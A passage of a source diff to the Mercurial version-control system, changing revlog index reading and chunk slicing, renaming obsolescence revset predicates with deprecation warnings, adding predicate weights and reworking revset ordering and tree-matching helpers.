         if opts is not None:
@@ -323,6 +422,13 @@
                 self._compengine = opts['compengine']
             if 'maxdeltachainspan' in opts:
                 self._maxdeltachainspan = opts['maxdeltachainspan']
+            if mmaplargeindex and 'mmapindexthreshold' in opts:
+                mmapindexthreshold = opts['mmapindexthreshold']
+            self._withsparseread = bool(opts.get('with-sparse-read', False))
+            if 'sparse-read-density-threshold' in opts:
+                self._srdensitythreshold = opts['sparse-read-density-threshold']
+            if 'sparse-read-min-gap-size' in opts:
+                self._srmingapsize = opts['sparse-read-min-gap-size']
 
         if self._chunkcachesize <= 0:
             raise RevlogError(_('revlog chunk cache size %r is not greater '
@@ -335,7 +441,11 @@
         self._initempty = True
         try:
             f = self.opener(self.indexfile)
-            indexdata = f.read()
+            if (mmapindexthreshold is not None and
+                    self.opener.fstat(f).st_size >= mmapindexthreshold):
+                indexdata = util.buffer(util.mmapread(f))
+            else:
+                indexdata = f.read()
             f.close()
             if len(indexdata) > 0:
                 v = versionformat_unpack(indexdata[:4])[0]
@@ -1128,6 +1238,44 @@
 
         raise LookupError(id, self.indexfile, _('no match found'))
 
+    def shortest(self, hexnode, minlength=1):
+        """Find the shortest unambiguous prefix that matches hexnode."""
+        def isvalid(test):
+            try:
+                if self._partialmatch(test) is None:
+                    return False
+
+                try:
+                    i = int(test)
+                    # if we are a pure int, then starting with zero will not be
+                    # confused as a rev; or, obviously, if the int is larger
+                    # than the value of the tip rev
+                    if test[0] == '0' or i > len(self):
+                        return True
+                    return False
+                except ValueError:
+                    return True
+            except error.RevlogError:
+                return False
+            except error.WdirUnsupported:
+                # single 'ff...' match
+                return True
+
+        shortest = hexnode
+        startlength = max(6, minlength)
+        length = startlength
+        while True:
+            test = hexnode[:length]
+            if isvalid(test):
+                shortest = test
+                if length == minlength or length > startlength:
+                    return shortest
+                length -= 1
+            else:
+                length += 1
+                if len(shortest) <= length:
+                    return shortest
+
     def cmp(self, node, text):
         """compare text with a given file revision
 
@@ -1277,20 +1425,32 @@
         l = []
         ladd = l.append
 
-        try:
-            offset, data = self._getsegmentforrevs(revs[0], revs[-1], df=df)
-        except OverflowError:
-            # issue4215 - we can't cache a run of chunks greater than
-            # 2G on Windows
-            return [self._chunk(rev, df=df) for rev in revs]
+        if not self._withsparseread:
+            slicedchunks = (revs,)
+        else:
+            slicedchunks = _slicechunk(self, revs)
+
+        for revschunk in slicedchunks:
+            firstrev = revschunk[0]
+            # Skip trailing revisions with empty diff
+            for lastrev in revschunk[::-1]:
+                if length(lastrev) != 0:
+                    break
 
-        decomp = self.decompress
-        for rev in revs:
-            chunkstart = start(rev)
-            if inline:
-                chunkstart += (rev + 1) * iosize
-            chunklength = length(rev)
-            ladd(decomp(buffer(data, chunkstart - offset, chunklength)))
+            try:
+                offset, data = self._getsegmentforrevs(firstrev, lastrev, df=df)
+            except OverflowError:
+                # issue4215 - we can't cache a run of chunks greater than
+                # 2G on Windows
+                return [self._chunk(rev, df=df) for rev in revschunk]
+
+            decomp = self.decompress
+            for rev in revschunk:
+                chunkstart = start(rev)
+                if inline:
+                    chunkstart += (rev + 1) * iosize
+                chunklength = length(rev)
+                ladd(decomp(buffer(data, chunkstart - offset, chunklength)))
 
         return l
 
@@ -1473,7 +1633,7 @@
             if revornode is None:
                 revornode = templatefilters.short(hex(node))
             raise RevlogError(_("integrity check failed on %s:%s")
-                % (self.indexfile, revornode))
+                % (self.indexfile, pycompat.bytestr(revornode)))
 
     def checkinlinesize(self, tr, fp=None):
         """Check if the revlog is too big for inline and convert if so.
@@ -1694,6 +1854,13 @@
         - rawtext is optional (can be None); if not set, cachedelta must be set.
           if both are set, they must correspond to each other.
         """
+        if node == nullid:
+            raise RevlogError(_("%s: attempt to add null revision") %
+                              (self.indexfile))
+        if node == wdirid:
+            raise RevlogError(_("%s: attempt to add wdir revision") %
+                              (self.indexfile))
+
         btext = [rawtext]
         def buildtext():
             if btext[0] is not None:
@@ -1865,7 +2032,7 @@
             ifh.write(data[1])
             self.checkinlinesize(transaction, ifh)
 
-    def addgroup(self, cg, linkmapper, transaction, addrevisioncb=None):
+    def addgroup(self, deltas, linkmapper, transaction, addrevisioncb=None):
         """
         add a delta group
 
@@ -1898,22 +2065,15 @@
             ifh.flush()
         try:
             # loop through our set of deltas
-            chain = None
-            for chunkdata in iter(lambda: cg.deltachunk(chain), {}):
-                node = chunkdata['node']
-                p1 = chunkdata['p1']
-                p2 = chunkdata['p2']
-                cs = chunkdata['cs']
-                deltabase = chunkdata['deltabase']
-                delta = chunkdata['delta']
-                flags = chunkdata['flags'] or REVIDX_DEFAULT_FLAGS
+            for data in deltas:
+                node, p1, p2, linknode, deltabase, delta, flags = data
+                link = linkmapper(linknode)
+                flags = flags or REVIDX_DEFAULT_FLAGS
 
                 nodes.append(node)
 
-                link = linkmapper(cs)
                 if node in self.nodemap:
                     # this can happen if two branches make the same change
-                    chain = node
                     continue
 
                 for p in (p1, p2):
@@ -1947,13 +2107,13 @@
                 # We're only using addgroup() in the context of changegroup
                 # generation so the revision data can always be handled as raw
                 # by the flagprocessor.
-                chain = self._addrevision(node, None, transaction, link,
-                                          p1, p2, flags, (baserev, delta),
-                                          ifh, dfh,
-                                          alwayscache=bool(addrevisioncb))
+                self._addrevision(node, None, transaction, link,
+                                  p1, p2, flags, (baserev, delta),
+                                  ifh, dfh,
+                                  alwayscache=bool(addrevisioncb))
 
                 if addrevisioncb:
-                    addrevisioncb(self, chain)
+                    addrevisioncb(self, node)
 
                 if not dfh and not self._inline:
                     # addrevision switched from inline to conventional
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -40,22 +40,59 @@
 getargs = revsetlang.getargs
 getargsdict = revsetlang.getargsdict
 
-# constants used as an argument of match() and matchany()
-anyorder = revsetlang.anyorder
-defineorder = revsetlang.defineorder
-followorder = revsetlang.followorder
-
 baseset = smartset.baseset
 generatorset = smartset.generatorset
 spanset = smartset.spanset
 fullreposet = smartset.fullreposet
 
+# Constants for ordering requirement, used in getset():
+#
+# If 'define', any nested functions and operations MAY change the ordering of
+# the entries in the set (but if changes the ordering, it MUST ALWAYS change
+# it). If 'follow', any nested functions and operations MUST take the ordering
+# specified by the first operand to the '&' operator.
+#
+# For instance,
+#
+#   X & (Y | Z)
+#   ^   ^^^^^^^
+#   |   follow
+#   define
+#
+# will be evaluated as 'or(y(x()), z(x()))', where 'x()' can change the order
+# of the entries in the set, but 'y()', 'z()' and 'or()' shouldn't.
+#
+# 'any' means the order doesn't matter. For instance,
+#
+#   (X & !Y) | ancestors(Z)
+#         ^              ^
+#         any            any
+#
+# For 'X & !Y', 'X' decides the order and 'Y' is subtracted from 'X', so the
+# order of 'Y' does not matter. For 'ancestors(Z)', Z's order does not matter
+# since 'ancestors' does not care about the order of its argument.
+#
+# Currently, most revsets do not care about the order, so 'define' is
+# equivalent to 'follow' for them, and the resulting order is based on the
+# 'subset' parameter passed down to them:
+#
+#   m = revset.match(...)
+#   m(repo, subset, order=defineorder)
+#           ^^^^^^
+#      For most revsets, 'define' means using the order this subset provides
+#
+# There are a few revsets that always redefine the order if 'define' is
+# specified: 'sort(X)', 'reverse(X)', 'x:y'.
+anyorder = 'any'        # don't care the order, could be even random-shuffled
+defineorder = 'define'  # ALWAYS redefine, or ALWAYS follow the current order
+followorder = 'follow'  # MUST follow the current order
+
 # helpers
 
-def getset(repo, subset, x):
+def getset(repo, subset, x, order=defineorder):
     if not x:
         raise error.ParseError(_("missing argument"))
-    return methods[x[0]](repo, subset, *x[1:])
+    return methods[x[0]](repo, subset, *x[1:], order=order)
 
 def _getrevsource(repo, r):
     extra = repo[r].extra()
@@ -69,7 +106,7 @@
 
 # operator methods
 
-def stringset(repo, subset, x):
+def stringset(repo, subset, x, order):
     x = scmutil.intrev(repo[x])
     if (x in subset
         or x == node.nullrev and isinstance(subset, fullreposet)):
@@ -126,30 +163,42 @@
     return subset & xs
 
 def andset(repo, subset, x, y, order):
-    return getset(repo, getset(repo, subset, x), y)
+    if order == anyorder:
+        yorder = anyorder
+    else:
+        yorder = followorder
+    return getset(repo, getset(repo, subset, x, order), y, yorder)
+
+def andsmallyset(repo, subset, x, y, order):
+    # 'andsmally(x, y)' is equivalent to 'and(x, y)', but faster when y is small
+    if order == anyorder:
+        yorder = anyorder
+    else:
+        yorder = followorder
+    return getset(repo, getset(repo, subset, y, yorder), x, order)
 
 def differenceset(repo, subset, x, y, order):
-    return getset(repo, subset, x) - getset(repo, subset, y)
+    return getset(repo, subset, x, order) - getset(repo, subset, y, anyorder)
 
-def _orsetlist(repo, subset, xs):
+def _orsetlist(repo, subset, xs, order):
     assert xs
     if len(xs) == 1:
-        return getset(repo, subset, xs[0])
+        return getset(repo, subset, xs[0], order)
     p = len(xs) // 2
-    a = _orsetlist(repo, subset, xs[:p])
-    b = _orsetlist(repo, subset, xs[p:])
+    a = _orsetlist(repo, subset, xs[:p], order)
+    b = _orsetlist(repo, subset, xs[p:], order)
     return a + b
 
 def orset(repo, subset, x, order):
     xs = getlist(x)
     if order == followorder:
         # slow path to take the subset order
-        return subset & _orsetlist(repo, fullreposet(repo), xs)
+        return subset & _orsetlist(repo, fullreposet(repo), xs, anyorder)
     else:
-        return _orsetlist(repo, subset, xs)
+        return _orsetlist(repo, subset, xs, order)
 
 def notset(repo, subset, x, order):
-    return subset - getset(repo, subset, x)
+    return subset - getset(repo, subset, x, anyorder)
 
 def relationset(repo, subset, x, y, order):
     raise error.ParseError(_("can't use a relation in this context"))
@@ -176,11 +225,11 @@
 def subscriptset(repo, subset, x, y, order):
     raise error.ParseError(_("can't use a subscript in this context"))
 
-def listset(repo, subset, *xs):
+def listset(repo, subset, *xs, **opts):
     raise error.ParseError(_("can't use a list in this context"),
                            hint=_('see hg help "revsets.x or y"'))
 
-def keyvaluepair(repo, subset, k, v):
+def keyvaluepair(repo, subset, k, v, order):
     raise error.ParseError(_("can't use a key-value pair in this context"))
 
 def func(repo, subset, a, b, order):
@@ -204,7 +253,7 @@
 #   repo - current repository instance
 #   subset - of revisions to be examined
 #   x - argument in tree form
-symbols = {}
+symbols = revsetlang.symbols
 
 # symbols which can't be used for a DoS attack for any given input
 # (e.g. those which accept regexes as plain strings shouldn't be included)
@@ -227,7 +276,7 @@
         sourceset = getset(repo, fullreposet(repo), x)
     return subset & baseset([destutil.destmerge(repo, sourceset=sourceset)])
 
-@predicate('adds(pattern)', safe=True)
+@predicate('adds(pattern)', safe=True, weight=30)
 def adds(repo, subset, x):
     """Changesets that add a file matching pattern.
 
@@ -239,7 +288,7 @@
     pat = getstring(x, _("adds requires a pattern"))
     return checkstatus(repo, subset, pat, 1)
 
-@predicate('ancestor(*changeset)', safe=True)
+@predicate('ancestor(*changeset)', safe=True, weight=0.5)
 def ancestor(repo, subset, x):
     """A greatest common ancestor of the changesets.
 
@@ -345,7 +394,7 @@
         ps.add(r)
     return subset & ps
 
-@predicate('author(string)', safe=True)
+@predicate('author(string)', safe=True, weight=10)
 def author(repo, subset, x):
     """Alias for ``user(string)``.
     """
@@ -413,7 +462,7 @@
     bms -= {node.nullrev}
     return subset & bms
 
-@predicate('branch(string or set)', safe=True)
+@predicate('branch(string or set)', safe=True, weight=10)
 def branch(repo, subset, x):
     """
     All changesets belonging to the given branch or the branches of the given
@@ -459,14 +508,23 @@
 
 @predicate('bumped()', safe=True)
 def bumped(repo, subset, x):
+    msg = ("'bumped()' is deprecated, "
+           "use 'phasedivergent()'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return phasedivergent(repo, subset, x)
+
+@predicate('phasedivergent()', safe=True)
+def phasedivergent(repo, subset, x):
     """Mutable changesets marked as successors of public changesets.
 
-    Only non-public and non-obsolete changesets can be `bumped`.
+    Only non-public and non-obsolete changesets can be `phasedivergent`.
+    (EXPERIMENTAL)
     """
-    # i18n: "bumped" is a keyword
-    getargs(x, 0, 0, _("bumped takes no arguments"))
-    bumped = obsmod.getrevs(repo, 'bumped')
-    return subset & bumped
+    # i18n: "phasedivergent" is a keyword
+    getargs(x, 0, 0, _("phasedivergent takes no arguments"))
+    phasedivergent = obsmod.getrevs(repo, 'phasedivergent')
+    return subset & phasedivergent
 
 @predicate('bundle()', safe=True)
 def bundle(repo, subset, x):
@@ -537,7 +595,7 @@
     cs = _children(repo, subset, s)
     return subset & cs
 
-@predicate('closed()', safe=True)
+@predicate('closed()', safe=True, weight=10)
 def closed(repo, subset, x):
     """Changeset is closed.
     """
@@ -546,7 +604,7 @@
     return subset.filter(lambda r: repo[r].closesbranch(),
                          condrepr='<branch closed>')
 
-@predicate('contains(pattern)')
+@predicate('contains(pattern)', weight=100)
 def contains(repo, subset, x):
     """The revision's manifest contains a file matching pattern (but might not
     modify it). See :hg:`help patterns` for information about file patterns.
@@ -596,7 +654,7 @@
     return subset.filter(lambda r: _matchvalue(r),
                          condrepr=('<converted %r>', rev))
 
-@predicate('date(interval)', safe=True)
+@predicate('date(interval)', safe=True, weight=10)
 def date(repo, subset, x):
     """Changesets within the interval, see :hg:`help dates`.
     """
@@ -606,7 +664,7 @@
     return subset.filter(lambda x: dm(repo[x].date()[0]),
                          condrepr=('<date %r>', ds))
 
-@predicate('desc(string)', safe=True)
+@predicate('desc(string)', safe=True, weight=10)
 def desc(repo, subset, x):
     """Search commit message for string. The match is case-insensitive.
 
@@ -664,7 +722,7 @@
     # Like ``descendants(set)`` but follows only the first parents.
     return _descendants(repo, subset, x, followfirst=True)
 
-@predicate('destination([set])', safe=True)
+@predicate('destination([set])', safe=True, weight=10)
 def destination(repo, subset, x):
     """Changesets that were created by a graft, transplant or rebase operation,
     with the given revisions specified as the source.  Omitting the optional set
@@ -711,13 +769,33 @@
 
 @predicate('divergent()', safe=True)
 def divergent(repo, subset, x):
+    msg = ("'divergent()' is deprecated, "
+           "use 'contentdivergent()'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return contentdivergent(repo, subset, x)
+
+@predicate('contentdivergent()', safe=True)
+def contentdivergent(repo, subset, x):
     """
-    Final successors of changesets with an alternative set of final successors.
+    Final successors of changesets with an alternative set of final
+    successors. (EXPERIMENTAL)
     """
-    # i18n: "divergent" is a keyword
-    getargs(x, 0, 0, _("divergent takes no arguments"))
-    divergent = obsmod.getrevs(repo, 'divergent')
-    return subset & divergent
+    # i18n: "contentdivergent" is a keyword
+    getargs(x, 0, 0, _("contentdivergent takes no arguments"))
+    contentdivergent = obsmod.getrevs(repo, 'contentdivergent')
+    return subset & contentdivergent
+
+@predicate('extdata(source)', safe=False, weight=100)
+def extdata(repo, subset, x):
+    """Changesets in the specified extdata source. (EXPERIMENTAL)"""
+    # i18n: "extdata" is a keyword
+    args = getargsdict(x, 'extdata', 'source')
+    source = getstring(args.get('source'),
+                       # i18n: "extdata" is a keyword
+                       _('extdata takes at least 1 string argument'))
+    data = scmutil.extdatasource(repo, source)
+    return subset & baseset(data)
 
 @predicate('extinct()', safe=True)
 def extinct(repo, subset, x):
@@ -824,7 +902,7 @@
 
     return subset & s
 
-@predicate('first(set, [n])', safe=True, takeorder=True)
+@predicate('first(set, [n])', safe=True, takeorder=True, weight=0)
 def first(repo, subset, x, order):
     """An alias for limit().
     """
@@ -903,16 +981,9 @@
         rev = revs.last()
 
     pat = getstring(args['file'], _("followlines requires a pattern"))
-    if not matchmod.patkind(pat):
-        fname = pathutil.canonpath(repo.root, repo.getcwd(), pat)
-    else:
-        m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=repo[rev])
-        files = [f for f in repo[rev] if m(f)]
-        if len(files) != 1:
-            # i18n: "followlines" is a keyword
-            raise error.ParseError(_("followlines expects exactly one file"))
-        fname = files[0]
-
+    # i18n: "followlines" is a keyword
+    msg = _("followlines expects exactly one file")
+    fname = scmutil.parsefollowlinespattern(repo, rev, pat, msg)
     # i18n: "followlines" is a keyword
     lr = getrange(args['lines'][0], _("followlines expects a line range"))
     fromline, toline = [getinteger(a, _("line range bounds must be integers"))
@@ -945,7 +1016,7 @@
     getargs(x, 0, 0, _("all takes no arguments"))
     return subset & spanset(repo)  # drop "null" if any
 
-@predicate('grep(regex)')
+@predicate('grep(regex)', weight=10)
 def grep(repo, subset, x):
     """Like ``keyword(string)`` but accepts a regex. Use ``grep(r'...')``
     to ensure special escape characters are handled correctly. Unlike
@@ -1030,7 +1101,7 @@
                                    'exclude=%r, default=%r, rev=%r>',
                                    pats, inc, exc, default, rev))
 
-@predicate('file(pattern)', safe=True)
+@predicate('file(pattern)', safe=True, weight=10)
 def hasfile(repo, subset, x):
     """Changesets affecting files matched by pattern.
 
@@ -1072,7 +1143,7 @@
     hiddenrevs = repoview.filterrevs(repo, 'visible')
     return subset & hiddenrevs
 
-@predicate('keyword(string)', safe=True)
+@predicate('keyword(string)', safe=True, weight=10)
 def keyword(repo, subset, x):
     """Search commit message, user name, and names of changed files for
     string. The match is case-insensitive.
@@ -1090,7 +1161,7 @@
 
     return subset.filter(matches, condrepr=('<keyword %r>', kw))
 
-@predicate('limit(set[, n[, offset]])', safe=True, takeorder=True)
+@predicate('limit(set[, n[, offset]])', safe=True, takeorder=True, weight=0)
 def limit(repo, subset, x, order):
     """First n members of set, defaulting to 1, starting from offset.
     """
@@ -1192,7 +1263,7 @@
         pass
     return baseset(datarepr=('<min %r, %r>', subset, os))
 
-@predicate('modifies(pattern)', safe=True)
+@predicate('modifies(pattern)', safe=True, weight=30)
 def modifies(repo, subset, x):
     """Changesets modifying files matched by pattern.
 
@@ -1336,7 +1407,7 @@
     # some optimizations from the fact this is a baseset.
     return subset & o
 
-@predicate('outgoing([path])', safe=False)
+@predicate('outgoing([path])', safe=False, weight=10)
 def outgoing(repo, subset, x):
     """Changesets not found in the specified destination repository, or the
     default push location.
@@ -1490,8 +1561,8 @@
                     ps.add(parents[1].rev())
     return subset & ps
 
-@predicate('present(set)', safe=True)
-def present(repo, subset, x):
+@predicate('present(set)', safe=True, takeorder=True)
+def present(repo, subset, x, order):
     """An empty set, if any revision in set isn't found; otherwise,
     all revisions in set.
 
@@ -1500,7 +1571,7 @@
     to continue even in such cases.
     """
     try:
-        return getset(repo, subset, x)
+        return getset(repo, subset, x, order)
     except error.RepoLookupError:
         return baseset()
 
@@ -1510,6 +1581,37 @@
     getargs(x, 0, 0, "_notpublic takes no arguments")
     return _phase(repo, subset, phases.draft, phases.secret)
 
+# for internal use
+@predicate('_phaseandancestors(phasename, set)', safe=True)
+def _phaseandancestors(repo, subset, x):
+    # equivalent to (phasename() & ancestors(set)) but more efficient
+    # phasename could be one of 'draft', 'secret', or '_notpublic'
+    args = getargs(x, 2, 2, "_phaseandancestors requires two arguments")
+    phasename = getsymbol(args[0])
+    s = getset(repo, fullreposet(repo), args[1])
+
+    draft = phases.draft
+    secret = phases.secret
+    phasenamemap = {
+        '_notpublic': draft,
+        'draft': draft, # follow secret's ancestors
+        'secret': secret,
+    }
+    if phasename not in phasenamemap:
+        raise error.ParseError('%r is not a valid phasename' % phasename)
+
+    minimalphase = phasenamemap[phasename]
+    getphase = repo._phasecache.phase
+
+    def cutfunc(rev):
+        return getphase(repo, rev) < minimalphase
+
+    revs = dagop.revancestors(repo, s, cutfunc=cutfunc)
+
+    if phasename == 'draft': # need to remove secret changesets
+        revs = revs.filter(lambda r: getphase(repo, r) == draft)
+    return subset & revs
+
 @predicate('public()', safe=True)
 def public(repo, subset, x):
     """Changeset in public phase."""
@@ -1556,7 +1658,7 @@
             return baseset([r])
     return baseset()
 
-@predicate('removes(pattern)', safe=True)
+@predicate('removes(pattern)', safe=True, weight=30)
 def removes(repo, subset, x):
     """Changesets which remove files matching pattern.
 
@@ -1696,11 +1798,11 @@
 
     return subset.filter(matches, condrepr=('<matching%r %r>', fields, revs))
 
-@predicate('reverse(set)', safe=True, takeorder=True)
+@predicate('reverse(set)', safe=True, takeorder=True, weight=0)
 def reverse(repo, subset, x, order):
     """Reverse order of set.
     """
-    l = getset(repo, subset, x)
+    l = getset(repo, subset, x, order)
     if order == defineorder:
         l.reverse()
     return l
@@ -1764,7 +1866,8 @@
 
     return args['set'], keyflags, opts
 
-@predicate('sort(set[, [-]key... [, ...]])', safe=True, takeorder=True)
+@predicate('sort(set[, [-]key... [, ...]])', safe=True, takeorder=True,
+           weight=10)
 def sort(repo, subset, x, order):
     """Sort set by keys. The default sort order is ascending, specify a key
     as ``-key`` to sort in descending order.
@@ -1784,7 +1887,7 @@
 
     """
     s, keyflags, opts = _getsortargs(x)
-    revs = getset(repo, subset, s)
+    revs = getset(repo, subset, s, order)
 
     if not keyflags or order != defineorder:
         return revs
@@ -1919,15 +2022,23 @@
 
 @predicate('unstable()', safe=True)
 def unstable(repo, subset, x):
-    """Non-obsolete changesets with obsolete ancestors.
+    msg = ("'unstable()' is deprecated, "
+           "use 'orphan()'")
+    repo.ui.deprecwarn(msg, '4.4')
+
+    return orphan(repo, subset, x)
+
+@predicate('orphan()', safe=True)
+def orphan(repo, subset, x):
+    """Non-obsolete changesets with obsolete ancestors. (EXPERIMENTAL)
     """
-    # i18n: "unstable" is a keyword
-    getargs(x, 0, 0, _("unstable takes no arguments"))
-    unstables = obsmod.getrevs(repo, 'unstable')
-    return subset & unstables
+    # i18n: "orphan" is a keyword
+    getargs(x, 0, 0, _("orphan takes no arguments"))
+    orphan = obsmod.getrevs(repo, 'orphan')
+    return subset & orphan
 
 
-@predicate('user(string)', safe=True)
+@predicate('user(string)', safe=True, weight=10)
 def user(repo, subset, x):
     """User name contains string. The match is case-insensitive.
 
@@ -1936,7 +2047,7 @@
     """
     return author(repo, subset, x)
 
-@predicate('wdir()', safe=True)
+@predicate('wdir()', safe=True, weight=0)
 def wdir(repo, subset, x):
     """Working directory. (EXPERIMENTAL)"""
     # i18n: "wdir" is a keyword
@@ -1962,7 +2073,7 @@
                 raise ValueError
             revs = [r]
         except ValueError:
-            revs = stringset(repo, subset, t)
+            revs = stringset(repo, subset, t, defineorder)
 
         for r in revs:
             if r in seen:
@@ -1991,7 +2102,7 @@
     return baseset([r for r in ls if r in s])
 
 # for internal use
-@predicate('_intlist', safe=True, takeorder=True)
+@predicate('_intlist', safe=True, takeorder=True, weight=0)
 def _intlist(repo, subset, x, order):
     if order == followorder:
         # slow path to take the subset order
@@ -2026,6 +2137,7 @@
     "string": stringset,
     "symbol": stringset,
     "and": andset,
+    "andsmally": andsmallyset,
     "or": orset,
     "not": notset,
     "difference": differenceset,
@@ -2044,21 +2156,14 @@
     # hook for extensions to execute code on the optimized tree
     pass
 
-def match(ui, spec, repo=None, order=defineorder):
-    """Create a matcher for a single revision spec
+def match(ui, spec, repo=None):
+    """Create a matcher for a single revision spec"""
+    return matchany(ui, [spec], repo=repo)
 
-    If order=followorder, a matcher takes the ordering specified by the input
-    set.
-    """
-    return matchany(ui, [spec], repo=repo, order=order)
-
-def matchany(ui, specs, repo=None, order=defineorder, localalias=None):
+def matchany(ui, specs, repo=None, localalias=None):
     """Create a matcher that will include any revisions matching one of the
     given specs
 
-    If order=followorder, a matcher takes the ordering specified by the input
-    set.
-
     If localalias is not None, it is a dict {name: definitionstring}. It takes
     precedence over [revsetalias] config section.
     """
@@ -2087,17 +2192,22 @@
     if aliases:
         tree = revsetlang.expandaliases(tree, aliases, warn=warn)
     tree = revsetlang.foldconcat(tree)
-    tree = revsetlang.analyze(tree, order)
+    tree = revsetlang.analyze(tree)
     tree = revsetlang.optimize(tree)
     posttreebuilthook(tree, repo)
     return makematcher(tree)
 
 def makematcher(tree):
     """Create a matcher from an evaluatable tree"""
-    def mfunc(repo, subset=None):
+    def mfunc(repo, subset=None, order=None):
+        if order is None:
+            if subset is None:
+                order = defineorder  # 'x'
+            else:
+                order = followorder  # 'subset & x'
         if subset is None:
             subset = fullreposet(repo)
-        return getset(repo, subset, tree)
+        return getset(repo, subset, tree, order)
     return mfunc
 
 def loadpredicate(ui, extname, registrarobj):
diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -49,6 +49,8 @@
 
 keywords = {'and', 'or', 'not'}
 
+symbols = {}
+
 _quoteletters = {'"', "'"}
 _simpleopletters = set(pycompat.iterbytestr("()[]#:=,-|&+!~^%"))
 
@@ -78,7 +80,7 @@
     letters of symbols, if ``c.isalnum() or c in '-._/@' or ord(c) > 127``.
 
     Check that @ is a valid unquoted token character (issue3686):
-    >>> list(tokenize("@::"))
+    >>> list(tokenize(b"@::"))
     [('symbol', '@', 0), ('::', None, 1), ('end', None, 3)]
 
     '''
@@ -239,79 +241,39 @@
     return parser.buildargsdict(getlist(x), funcname, parser.splitargspec(keys),
                                 keyvaluenode='keyvalue', keynode='symbol')
 
-def _isnamedfunc(x, funcname):
-    """Check if given tree matches named function"""
-    return x and x[0] == 'func' and getsymbol(x[1]) == funcname
-
-def _isposargs(x, n):
-    """Check if given tree is n-length list of positional arguments"""
-    l = getlist(x)
-    return len(l) == n and all(y and y[0] != 'keyvalue' for y in l)
+# cache of {spec: raw parsed tree} built internally
+_treecache = {}
 
-def _matchnamedfunc(x, funcname):
-    """Return args tree if given tree matches named function; otherwise None
+def _cachedtree(spec):
+    # thread safe because parse() is reentrant and dict.__setitem__() is atomic
+    tree = _treecache.get(spec)
+    if tree is None:
+        _treecache[spec] = tree = parse(spec)
+    return tree
 
-    This can't be used for testing a nullary function since its args tree
-    is also None. Use _isnamedfunc() instead.
-    """
-    if not _isnamedfunc(x, funcname):
-        return
-    return x[2]
+def _build(tmplspec, *repls):
+    """Create raw parsed tree from a template revset statement
 
-# Constants for ordering requirement, used in _analyze():
-#
-# If 'define', any nested functions and operations can change the ordering of
-# the entries in the set. If 'follow', any nested functions and operations
-# should take the ordering specified by the first operand to the '&' operator.
-#
-# For instance,
-#
-#   X & (Y | Z)
-#   ^   ^^^^^^^
-#   |   follow
-#   define
-#
-# will be evaluated as 'or(y(x()), z(x()))', where 'x()' can change the order
-# of the entries in the set, but 'y()', 'z()' and 'or()' shouldn't.
-#
-# 'any' means the order doesn't matter. For instance,
-#
-#   X & !Y
-#        ^
-#        any
-#
-# 'y()' can either enforce its ordering requirement or take the ordering
-# specified by 'x()' because 'not()' doesn't care the order.
-#
-# Transition of ordering requirement:
-#
-# 1. starts with 'define'
-# 2. shifts to 'follow' by 'x & y'
-# 3. changes back to 'define' on function call 'f(x)' or function-like
-#    operation 'x (f) y' because 'f' may have its own ordering requirement
-#    for 'x' and 'y' (e.g. 'first(x)')
-#
-anyorder = 'any'        # don't care the order
-defineorder = 'define'  # should define the order
-followorder = 'follow'  # must follow the current order
+    >>> _build(b'f(_) and _', (b'string', b'1'), (b'symbol', b'2'))
+    ('and', ('func', ('symbol', 'f'), ('string', '1')), ('symbol', '2'))
+    """
+    template = _cachedtree(tmplspec)
+    return parser.buildtree(template, ('symbol', '_'), *repls)
+
+def _match(patspec, tree):
+    """Test if a tree matches the given pattern statement; return the matches
 
-# transition table for 'x & y', from the current expression 'x' to 'y'
-_tofolloworder = {
-    anyorder: anyorder,
-    defineorder: followorder,
-    followorder: followorder,
-}
+    >>> _match(b'f(_)', parse(b'f()'))
+    >>> _match(b'f(_)', parse(b'f(1)'))
+    [('func', ('symbol', 'f'), ('symbol', '1')), ('symbol', '1')]
+    >>> _match(b'f(_)', parse(b'f(1, 2)'))
+    """
+    pattern = _cachedtree(patspec)
+    return parser.matchtree(pattern, tree, ('symbol', '_'),
+                            {'keyvalue', 'list'})
 
 def _matchonly(revs, bases):
-    """
-    >>> f = lambda *args: _matchonly(*map(parse, args))
-    >>> f('ancestors(A)', 'not ancestors(B)')
-    ('list', ('symbol', 'A'), ('symbol', 'B'))
-    """
-    ta = _matchnamedfunc(revs, 'ancestors')
-    tb = bases and bases[0] == 'not' and _matchnamedfunc(bases[1], 'ancestors')
-    if _isposargs(ta, 1) and _isposargs(tb, 1):
-        return ('list', ta, tb)
+    return _match('ancestors(_) and not ancestors(_)', ('and', revs, bases))
 
 def _fixops(x):
     """Rewrite raw parsed tree to resolve ambiguous syntax which cannot be
@@ -340,109 +302,90 @@
 
     return (op,) + tuple(_fixops(y) for y in x[1:])
 
-def _analyze(x, order):
+def _analyze(x):
     if x is None:
         return x
 
     op = x[0]
     if op == 'minus':
-        return _analyze(('and', x[1], ('not', x[2])), order)
+        return _analyze(_build('_ and not _', *x[1:]))
     elif op == 'only':
-        t = ('func', ('symbol', 'only'), ('list', x[1], x[2]))
-        return _analyze(t, order)
+        return _analyze(_build('only(_, _)', *x[1:]))
     elif op == 'onlypost':
-        return _analyze(('func', ('symbol', 'only'), x[1]), order)
+        return _analyze(_build('only(_)', x[1]))
     elif op == 'dagrangepre':
-        return _analyze(('func', ('symbol', 'ancestors'), x[1]), order)
+        return _analyze(_build('ancestors(_)', x[1]))
     elif op == 'dagrangepost':
-        return _analyze(('func', ('symbol', 'descendants'), x[1]), order)
+        return _analyze(_build('descendants(_)', x[1]))
     elif op == 'negate':
         s = getstring(x[1], _("can't negate that"))
-        return _analyze(('string', '-' + s), order)
+        return _analyze(('string', '-' + s))
     elif op in ('string', 'symbol'):
         return x
-    elif op == 'and':
-        ta = _analyze(x[1], order)
-        tb = _analyze(x[2], _tofolloworder[order])
-        return (op, ta, tb, order)
-    elif op == 'or':
-        return (op, _analyze(x[1], order), order)
-    elif op == 'not':
-        return (op, _analyze(x[1], anyorder), order)
     elif op == 'rangeall':
-        return (op, None, order)
-    elif op in ('rangepre', 'rangepost', 'parentpost'):
-        return (op, _analyze(x[1], defineorder), order)
+        return (op, None)
+    elif op in {'or', 'not', 'rangepre', 'rangepost', 'parentpost'}:
+        return (op, _analyze(x[1]))
     elif op == 'group':
-        return _analyze(x[1], order)
